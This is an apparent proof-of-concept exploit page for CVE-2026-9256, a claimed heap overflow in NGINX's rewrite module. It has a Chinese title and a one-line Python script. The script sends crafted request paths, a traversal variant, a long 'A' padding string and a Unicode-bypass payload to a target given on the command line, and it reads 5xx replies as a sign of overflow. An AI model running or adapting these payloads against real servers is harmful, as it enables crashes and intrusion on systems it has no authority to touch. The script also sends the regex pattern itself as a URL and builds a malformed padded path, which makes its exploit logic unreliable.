CVE-2026-9256 NGINX ngx_http_rewrite_module 堆缓冲区溢出漏洞

import requests # CVE-2026-9256 PoC - NGINX ngx_http_rewrite_module Heap Buffer Overflow # Target: NGINX servers with vulnerable rewrite configurations # Condition: rewrite directive with overlapping PCRE captures and multiple group references def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-9256 Requires NGINX config like: rewrite ^/((.*))$ /redirect?arg=$1$2 redirect; """ # Malicious payload that triggers overlapping capture group processing # The pattern ^/((.*))$ creates overlapping captures # Reference to $1$2 in replacement causes heap overflow vulnerable_paths = [ '/((.*))$', # Trigger rewrite with overlapping captures '/test/../../../((.*))$', # Path traversal with captures ] headers = { 'User-Agent': 'CVE-2026-9256-PoC-Tester', 'Accept': '*/*' } print(f"[*] Testing target: {target_url}") for path in vulnerable_paths: try: full_url = target_url.rstrip('/') + path print(f"[*] Sending payload: {path}") # Send crafted request response = requests.get( full_url, headers=headers, timeout=10, allow_redirects=False # Don't follow redirects ) # Check for indicators of successful exploitation if response.status_code in [500, 502, 503]: print(f"[!] Potential heap overflow detected - Status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") continue print("[*] No obvious vulnerability indicators detected") return False def exploit_nginx(target_url): """ Attempt exploitation of CVE-2026-9256 This PoC triggers the heap buffer overflow condition """ # Crafted request with specific pattern to trigger overflow exploit_payloads = [ 'A' * 1000 + '/((.*))$', # Long string with capture '/%c0%a0((.*))$', # Unicode bypass attempt ] for payload in exploit_payloads: try: url = target_url.rstrip('/') + payload print(f"[*] Sending exploit payload...") requests.get(url, timeout=5, verify=False) except Exception as e: print(f"[*] Exploit attempt completed: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve-2026-9256-poc.py <target_url>") print("Example: python cve-2026-9256-poc.py http://vulnerable-nginx-server.com")